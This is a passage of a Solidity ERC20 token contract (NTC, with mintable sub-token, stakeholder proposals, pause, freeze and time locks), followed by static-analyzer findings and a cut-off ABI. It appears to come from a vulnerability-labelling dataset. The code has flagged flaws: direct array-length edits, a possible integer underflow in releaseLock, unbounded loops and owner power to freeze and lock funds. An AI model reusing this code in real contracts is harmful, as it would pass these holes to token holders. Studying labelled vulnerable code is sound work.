@dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } contract NTCToken is ERC20 { string public name = ""; // solium-disable-line uppercase string public symbol = ""; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public initialSupply = 0; constructor(string memory _name, string memory _symbol, uint256 _initialSupply) public { name = _name; symbol = _symbol; initialSupply = _initialSupply * 10**uint256(decimals); super._mint(msg.sender, initialSupply); owner = msg.sender; } //ownership address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //crc contract address public crc; event CrcTransferred( address indexed previousCrc, address indexed newCrc ); function transferCrc(address _newCrc) public onlyOwner { require(_newCrc != address(0), "Invalid Address"); emit CrcTransferred(crc, _newCrc); crc = _newCrc; } modifier onlyCrc() { require(msg.sender == crc, "Not crc"); _; } //mintable event Mint(address indexed to, uint256 amount); function mint( address _to, uint256 _amount ) public onlyCrc returns (bool) { super._mint(_to, _amount); emit Mint(_to, _amount); return true; } //burnable event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value) public onlyCrc returns (bool) { require(_value <= super.balanceOf(_who), "Balance is too small."); super._burn(_who, _value); emit Burn(_who, _value); return true; } } contract NTC is ERC20 { string public constant name = "NTC"; // solium-disable-line uppercase string public constant symbol = "NTC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant initialSupply = 2400000000 * (10 ** uint256(decimals)); address[] public stakeHolders; struct ProposalInfo { uint8 mode; uint256 amount; NTCToken ct; mapping (address => bool) agreement; } mapping (address => ProposalInfo) public proposals; event AddStakeHolder(address indexed stakeHolder); event RemoveStakeHolder(address indexed stakeHolder); event MakeProposal(address indexed target, uint8 mode, uint256 amount, address token); event AgreeProposal(address indexed target, address stakeHolder); constructor() public { super._mint(msg.sender, initialSupply); owner = msg.sender; } modifier onlyStakeHolder() { bool validation = false; for (uint i=0; i < stakeHolders.length; i++){ if (stakeHolders[i] == msg.sender) { validation = true; break; } } require(validation, "Not stake holder"); _; } function addStakeHolder(address newStakeHolder) public onlyOwner { bool flag = false; for (uint i=0; i < stakeHolders.length; i++){ if (stakeHolders[i] == newStakeHolder) flag = true; } require(!flag, "Already stake holder"); stakeHolders.push(newStakeHolder); emit AddStakeHolder(newStakeHolder); } function removeStakeHolder(address oldStakeHolder) public onlyOwner { for (uint i=0; i < stakeHolders.length; i++){ if (stakeHolders[i] == oldStakeHolder) { stakeHolders[i] = stakeHolders[stakeHolders.length - 1]; stakeHolders.length--; emit RemoveStakeHolder(oldStakeHolder); break; } } } function makeProposal(address target, uint8 mode, uint256 amount, address token) public onlyOwner { proposals[target] = ProposalInfo(mode, amount, NTCToken(token)); for (uint i=0; i < stakeHolders.length; i++){ proposals[target].agreement[stakeHolders[i]] = false; } emit MakeProposal(target, mode, amount, token); } function agreeProposal(address target) public onlyStakeHolder { proposals[target].agreement[msg.sender] = true; emit AgreeProposal(target, msg.sender); if (_checkAgreement(target)) { if (proposals[target].mode == 1) { mint(target, proposals[target].amount, proposals[target].ct); proposals[target].mode = 3; } else if (proposals[target].mode == 2) { burn(target, proposals[target].amount, proposals[target].ct); proposals[target].mode = 4; } } } function _checkAgreement(address target) internal view returns (bool) { uint num = 0; for (uint i=0; i < stakeHolders.length; i++){ if (proposals[target].agreement[stakeHolders[i]]) { num++; } } if (stakeHolders.length == num) return true; else return false; } //token wallet contract address public tokenWallet; event TokenWalletTransferred( address indexed previousTokenWallet, address indexed newTokenWallet ); function transferTokenWallet(address _newTokenWallet) public onlyOwner { require(_newTokenWallet != address(0), "Invalid Address"); emit TokenWalletTransferred(tokenWallet, _newTokenWallet); tokenWallet = _newTokenWallet; } //ownership address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); modifier onlyOwner() { require(msg.sender == owner, "Not owner"); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0), "Already owner"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } //pausable event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Paused by owner"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "Not paused now"); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } //freezable event Frozen(address target); event Unfrozen(address target); mapping(address => bool) internal freezes; modifier whenNotFrozen() { require(!freezes[msg.sender], "Sender account is locked."); _; } function freeze(address _target) public onlyOwner { freezes[_target] = true; emit Frozen(_target); } function unfreeze(address _target) public onlyOwner { freezes[_target] = false; emit Unfrozen(_target); } function isFrozen(address _target) public view returns (bool) { return freezes[_target]; } function transfer( address _to, uint256 _value ) public whenNotFrozen whenNotPaused returns (bool) { releaseLock(msg.sender); return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { require(!freezes[_from], "From account is locked."); releaseLock(_from); return super.transferFrom(_from, _to, _value); } //mintable event Mint(address indexed to, uint256 amount); function mint( address _to, uint256 _amount, NTCToken ct ) internal returns (bool) { require(tokenWallet != address(0), "token wallet is not set"); ct.mint(tokenWallet, _amount*10); // crt.call(abi.encodeWithSignature("mint(address,uint256)",_to, _amount*10)); super._mint(_to, _amount); emit Mint(_to, _amount); return true; } //burnable event Burn(address indexed burner, uint256 value); function burn(address _who, uint256 _value, NTCToken ct) internal { require(_value <= super.balanceOf(_who), "Balance is too small."); require(tokenWallet != address(0), "token wallet is not set"); ct.burn(tokenWallet, _value*10); _burn(_who, _value); emit Burn(_who, _value); } //lockable struct LockInfo { uint256 releaseTime; uint256 balance; } mapping(address => LockInfo[]) internal lockInfo; event Lock(address indexed holder, uint256 value, uint256 releaseTime); event Unlock(address indexed holder, uint256 value); function balanceOf(address _holder) public view returns (uint256 balance) { uint256 lockedBalance = 0; for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance); } return super.balanceOf(_holder).add(lockedBalance); } function releaseLock(address _holder) internal { for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) { if (lockInfo[_holder][i].releaseTime <= now) { _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; i--; } lockInfo[_holder].length--; } } } function lockCount(address _holder) public view returns (uint256) { return lockInfo[_holder].length; } function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) { return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance); } function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(_releaseTime, _amount) ); emit Lock(_holder, _amount, _releaseTime); } function lockAfter(address _holder, uint256 _amount, uint256 _afterTime) public onlyOwner { require(super.balanceOf(_holder) >= _amount, "Balance is too small."); _balances[_holder] = _balances[_holder].sub(_amount); lockInfo[_holder].push( LockInfo(now + _afterTime, _amount) ); emit Lock(_holder, _amount, now + _afterTime); } function unlock(address _holder, uint256 i) public onlyOwner { require(i < lockInfo[_holder].length, "No lock information."); _balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance); emit Unlock(_holder, lockInfo[_holder][i].balance); lockInfo[_holder][i].balance = 0; if (i != lockInfo[_holder].length - 1) { lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1]; } lockInfo[_holder].length--; } function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(_releaseTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, _releaseTime); return true; } function transferWithLockAfter(address _to, uint256 _value, uint256 _afterTime) public onlyOwner returns (bool) { require(_to != address(0), "wrong address"); require(_value <= super.balanceOf(owner), "Not enough balance"); _balances[owner] = _balances[owner].sub(_value); lockInfo[_to].push( LockInfo(now + _afterTime, _value) ); emit Transfer(owner, _to, _value); emit Lock(_to, _value, now + _afterTime); return true; } function currentTime() public view returns (uint256) { return now; } function afterTime(uint256 _value) public view returns (uint256) { return now + _value; } }
[{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["518", "517"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["639", "650", "440", "451"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["421", "857", "816", "858", "817", "520"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["896", "811", "892", "686"]}]
[{"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"NTC.sol": [882, 883, 884]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"NTC.sol": [844, 845, 846]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"NTC.sol": [835, 836, 837]}}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium", "lines": {"NTC.sol": [868, 869, 870]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NTC.sol": [135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NTC.sol": [408, 409, 406, 407]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NTC.sol": [180, 181, 182, 183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"NTC.sol": [160, 161, 162, 163, 164, 165, 166, 167]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [825, 826, 827]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [448, 449, 446, 447]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [722, 723, 724, 725]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [828, 829, 830]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [565, 566, 567, 568, 569, 570, 571, 572, 573, 574]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [576, 577, 578, 579, 580, 581, 582]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [896, 897, 895]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [619, 620, 621, 622, 623]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [841, 842, 843, 844, 845, 846, 847, 848]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [315, 316, 317, 318]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [832, 833, 834, 835, 836, 837, 838, 839]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [720, 717, 718, 719]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [480, 481, 477, 478, 479]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [296, 297, 298, 299]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 863]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [456, 457, 455]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [512, 513, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [728, 729, 727]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [704, 701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [224, 225, 223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [264, 261, 262, 263]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [656, 654, 655]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [891, 892, 893]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [555, 556, 557, 558, 559, 560, 561, 562, 563]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [648, 645, 646, 647]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [696, 693, 694, 695]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"NTC.sol": [250, 251, 252]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [506]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [800]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [877]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [732]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [747]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [825]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [733]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [877]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [455]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [745]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [727]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [832]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [863]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [828]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [895]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [841]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [781]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [850]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [506]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [762]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [520]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [828]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [492]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [717]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [781]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [746]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [808]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [841]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [214]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [654]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [763]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [832]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [841]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [877]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [493]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [619]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [832]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [722]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [863]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [863]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"NTC.sol": [477]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"NTC.sol": [374]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"NTC.sol": [355]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"NTC.sol": [772]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"NTC.sol": [786]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"NTC.sol": [594]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"NTC.sol": [375]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"NTC.sol": [590]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"NTC.sol": [811]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"NTC.sol": [520]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"NTC.sol": [785]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"NTC.sol": [770]}}]
[{"error": "Integer Underflow.", "line": 413, "level": "Warning"}, {"error": "Integer Underflow.", "line": 414, "level": "Warning"}]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 448, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 647, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 569, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 820, "severity": 1}, {"rule": "SOLIDITY_ARRAY_LENGTH_MANIPULATION", "line": 860, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 261, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 545, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 557, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 566, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 578, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 602, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 802, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 810, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 545, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 557, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 566, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 578, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 602, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 802, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 810, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 216, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 218, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 212, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 828, "severity": 1}]
[{"constant":true,"inputs":[{"name":"_value","type":"uint256"}],"name":"afterTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"target","type":"address"},{"name":"mode","type":"uint8"},{"name":"amount","type":"uint256"},{"name":"token","type":"address"}],"name":"makeProposal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newStakeHolder","type":"address"}],"name":"addStakeHolder","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"target","type":"address"}],"name":"agreeProposal","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"proposals","outputs":[{"name":"mode","type":"uint8"},{"name":"amount","type":"uint256"},{"name":"ct","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"initialSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_target","type":"address"}],"name":"unfreeze","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"oldStakeHolder","type":"address"}],"name":"removeStakeHolder","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"},{"name":"_idx","type":"uint256"}],"name":"lockState","outputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"i","type":"uint256"}],"name":"unlock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_amount","type":"uint256"},{"name":"_afterT